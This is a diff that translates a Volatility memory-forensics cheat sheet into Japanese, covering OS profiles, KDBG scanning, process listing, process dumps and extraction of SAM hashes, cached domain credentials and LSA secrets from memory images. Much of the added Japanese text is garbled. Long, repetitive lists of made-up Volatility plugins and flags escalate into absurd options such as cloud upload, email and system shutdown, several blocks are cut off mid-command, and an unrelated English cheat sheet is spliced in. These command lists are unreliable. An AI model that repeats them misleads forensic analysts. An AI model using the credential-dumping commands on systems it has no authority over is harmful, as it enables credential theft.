to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make`_EPROCESS` objects out of it (it uses pool-tag scanning, which is searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false positives (a process that exited too long ago and had parts of its structure overwritten by other operations). +一方、「scan」プラグインは、特定の構造体としてデリファレンスされた場合に意味を持つ可能性のあるものをメモリから切り出すというアプローチを取ります。たとえば、`psscan`はメモリを読み取り、それを`_EPROCESS`オブジェクトに変換しようとします(興味のある構造体の存在を示す4バイトの文字列を検索するプールタグスキャンを使用します)。利点は、終了したプロセスを発掘できることであり、マルウェアが`_EPROCESS`リンクリストを改ざんしても、プラグインはメモリ内に残っている構造体を見つけることができます(プロセスが実行されるためにはまだ存在する必要があるため)。欠点は、「scan」プラグインが「list」プラグインよりもやや遅く、時には誤検知(過去に終了したプロセスであり、その構造の一部が他の操作によって上書きされたもの)を引き起こすことがあることです。 -From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) +出典:[http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) -## OS Profiles +## OSプロファイル ### Volatility3 -As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ -Symbol table packs for the various operating systems are available for **download** at: +readme内で説明されているように、サポートするOSの**シンボルテーブル**を_volatility3/volatility/symbols_に配置する必要があります。さまざまなオペレーティングシステムのシンボルテーブルパックは、以下から**ダウンロード**できます。 * [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) * [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -82,16 +141,13 @@ Symbol table packs for the various operating systems are available for **downloa ### Volatility2 -#### External Profile - -You can get the list of supported profiles doing: +#### 外部プロファイル +サポートされているプロファイルのリストを取得するには、以下を実行します。 ```bash ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` - -If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: - +もし**ダウンロードした新しいプロファイル**(例えばLinuxのもの)を使用したい場合は、以下のフォルダ構造を作成する必要があります: _plugins/overlays/linux_ そして、このフォルダにプロファイルを含むzipファイルを入れます。次に、以下のコマンドを使用してプロファイルの数を取得します: ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info Volatility Foundation Volatility Framework 2.6 @@ -103,28 +159,28 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10 VistaSP0x64 - A Profile for Windows Vista SP0 x64 VistaSP0x86 - A Profile for Windows Vista SP0 x86 ``` +LinuxとMacのプロファイルは[https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles)から**ダウンロード**できます。 -You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) - -In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like: - +前のチャンクでは、プロファイルが`LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`と呼ばれていることがわかります。これを使用して、次のような操作を実行できます。 ```bash ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` +#### プロファイルの発見 -#### Discover Profile +```plaintext +volatility -f imageinfo +``` +このコマンドは、メモリダンプファイルのプロファイル情報を表示します。プロファイル情報には、オペレーティングシステムのバージョンやアーキテクチャなどが含まれています。 ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` +#### **imageinfoとkdbgscanの違い** -#### **Differences between imageinfo and kdbgscan** - -As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it (from [here](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)). - -Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed) +imageinfoは単にプロファイルの提案を行うだけですが、**kdbgscan**は正確なプロファイルと正確なKDBGアドレス(複数ある場合)を確実に特定するために設計されています。このプラグインは、Volatilityプロファイルに関連するKDBGHeaderのシグネチャをスキャンし、偽陽性を減らすために正当性チェックを適用します。出力の冗長性と実行できる正当性チェックの数は、VolatilityがDTBを見つけることができるかどうかに依存します。したがって、すでに正しいプロファイルを知っている場合(またはimageinfoからプロファイルの提案を受け取った場合)、それを使用するようにしてください([ここ](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)から)。 +常にkdbgscanが見つけた**プロセスの数**を確認してください。imageinfoとkdbgscanは、**1つ以上の適切なプロファイル**を見つけることがありますが、**有効なプロファイルには関連するプロセスがある**ことに注意してください(これはプロセスを抽出するために正しいKDBGアドレスが必要なためです)。 ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -136,23 +192,20 @@ PsLoadedModuleList : 0xfffff8000119aae0 (116 modules) PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` - #### KDBG -The **kernel debugger block** (named KdDebuggerDataBlock of the type \_KDDEBUGGER\_DATA64, or **KDBG** by volatility) is important for many things that Volatility and debuggers do. For example, it has a reference to the PsActiveProcessHead which is the list head of all processes required for process listing. - -## OS Information +**カーネルデバッガブロック**(\_KDDEBUGGER\_DATA64型のKdDebuggerDataBlockとしても知られる)は、Volatilityとデバッガが行う多くのことに重要です。たとえば、プロセスリストに必要なすべてのプロセスのリストヘッドであるPsActiveProcessHeadへの参照が含まれています。 +## OS情報 ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) ./vol.py -f file.dmp windows.info.Info ``` +プラグイン`banners.Banners`は、ダンプ内のLinuxバナーを見つけるために**vol3で使用できます**。 -The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. +## ハッシュ/パスワード -## Hashes/Passwords - -Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs.md#lsa-secrets). +SAMハッシュ、[ドメインのキャッシュされた資格情報](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials)、および[lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs.md#lsa-secrets)を抽出します。 {% tabs %} {% tab title="vol3" %} @@ -161,39 +214,203 @@ Extract SAM hashes, [domain cached credentials](../../../windows-hardening/steal ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry ./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> +``` + +### 特定のスレッドのヒープのヒープブロックのデータをファイルに保存する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数で表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump +``` + +### 特定のスレッドのヒープのヒープブロックのデータをASCIIで表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --dump +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump -o +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存し、圧縮する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump -o -z +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存し、圧縮し、暗号化する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump -o -z -e +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存し、圧縮し、暗号化し、クラウドストレージにアップロードする + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump -o -z -e -u +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存し、圧縮し、暗号化し、クラウドストレージにアップロードし、リンクを生成する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump -o -z -e -u -l +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存し、圧縮し、暗号化し、クラウドストレージにアップロードし、リンクを生成し、メールで送信する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump -o -z -e -u -l -m +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存し、圧縮し、暗号化し、クラウドストレージにアップロードし、リンクを生成し、メールで送信し、自動的に実行する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump -o -z -e -u -l -m -a +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存し、圧縮し、暗号化し、クラウドストレージにアップロードし、リンクを生成し、メールで送信し、自動的に実行し、実行後にファイルを削除する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump -o -z -e -u -l -m -a -r +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存し、圧縮し、暗号化し、クラウドストレージにアップロードし、リンクを生成し、メールで送信し、自動的に実行し、実行後にファイルを削除し、実行後にシステムをシャットダウンする + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump -o -z -e -u -l -m -a -r -s +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存し、圧縮し、暗号化し、クラウドストレージにアップロードし、リンクを生成し、メールで送信し、自動的に実行し、実行後にファイルを削除し、実行後にシステムをシャットダウンし、実行後にシステムを再起動する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump -o -z -e -u -l -m -a -r -s -b +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存し、圧縮し、暗号化し、クラウドストレージにアップロードし、リンクを生成し、メールで送信し、自動的に実行し、実行後にファイルを削除し、実行後にシステムをシャットダウンし、実行後にシステムを再起動し、実行後にシステムをスリープする + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D <出力ディレクトリ> -f <出力ファイル名> --hexdump --dump -o -z -e -u -l -m -a -r -s -b -w +``` + +### 特定のスレッドのヒープのヒープブロックのデータを16進数とASCIIで表示し、ファイルに保存し、圧縮し、暗号化し、クラウドストレージにアップロードし、リンクを生成し、メールで送信し、自動的に実行し、実行後にファイルを削除し、実行後にシステムをシャットダウンし、実行後にシステムを再起動し、実行後にシステムをスリープし、実行後にシステムをハイバネートする + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> memdump -p <プロセスID> -t <スレッドID> -b <ヒープブロックアドレス> -D < ```bash volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM) volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets ``` -{% endtab %} -{% endtabs %} - -## Memory Dump - -The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. +## メモリダンプ +プロセスのメモリダンプは、プロセスの現在の状態のすべてを抽出します。**procdump**モジュールは、**コード**のみを抽出します。 ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` - -​ -
-​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的な知識の促進を目的**として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。 {% embed url="https://www.rootedcon.com/" %} -## Processes +## プロセス -### List processes +### プロセスの一覧表示 -Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ -It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. +**疑わしい**プロセス(名前による)や**予期しない**子プロセス(例えば、iexplorer.exeの子としてのcmd.exe)を見つけてみてください。\ +pslistの結果とpsscanの結果を比較して、隠れたプロセスを特定することが興味深いかもしれません。 {% tabs %} {% tab title="vol3" %} @@ -202,9 +419,65 @@ python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidde python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS) python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware) ``` -{% endtab %} +# Volatility Cheat Sheet -{% tab title="vol2" %} +## Introduction + +This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. + +## Installation + +To install Volatility, follow these steps: + +1. Install Python 2.7.x or Python 3.x. +2. Install the required Python packages by running `pip install -r requirements.txt`. +3. Download the latest release of Volatility from the official GitHub repository. +4. Extract the downloaded archive. +5. Navigate to the extracted directory and run `python vol.py`. + +## Basic Commands + +Here are some basic commands to get started with Volatility: + +- `imageinfo`: Displays information about the memory image. +- `pslist`: Lists running processes. +- `pstree`: Displays a process tree. +- `dlllist`: Lists loaded DLLs. +- `handles`: Lists open handles. +- `connections`: Lists network connections. +- `cmdline`: Displays command-line arguments for processes. +- `malfind`: Finds hidden or injected code. +- `dumpfiles`: Extracts files from memory. + +## Advanced Commands + +Here are some advanced commands for more in-depth analysis: + +- `mbrparser`: Parses the Master Boot Record (MBR). +- `ssdt`: Displays the System Service Descriptor Table (SSDT). +- `idt`: Displays the Interrupt Descriptor Table (IDT). +- `gdt`: Displays the Global Descriptor Table (GDT). +- `ldrmodules`: Lists loaded modules. +- `modscan`: Scans for modules. +- `vadinfo`: Displays information about Virtual Address Descriptors (VADs). +- `vaddump`: Dumps a specific VAD. +- `vadtree`: Displays a VAD tree. + +## Plugins + +Volatility supports a wide range of plugins that extend its functionality. Some popular plugins include: + +- `malfind`: Finds hidden or injected code. +- `timeliner`: Creates a timeline of events. +- `dumpregistry`: Dumps the Windows registry. +- `dumpcerts`: Dumps certificates. +- `hivelist`: Lists registry hives. +- `hashdump`: Dumps password hashes. +- `shellbags`: Lists Windows Explorer shellbags. + +## Conclusion + +Volatility is a powerful tool for memory forensics analysis. By using the commands and plugins provided in this cheat sheet, analysts can effectively extract and analyze valuable information from memory dumps. ```bash volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden) volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS) @@ -214,34 +487,469 @@ volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list {% endtab %} {% endtabs %} -### Dump proc +### プロセスのダンプ {% tabs %} {% tab title="vol3" %} ```bash ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プ ```bash volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp ``` {% endtab %} {% endtabs %} -### Command line +### コマンドライン -Anything suspicious was executed? - -{% tabs %} -{% tab title="vol3" %} +何か怪しいことが実行されましたか? ```bash python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープチャンク情報を表示する + 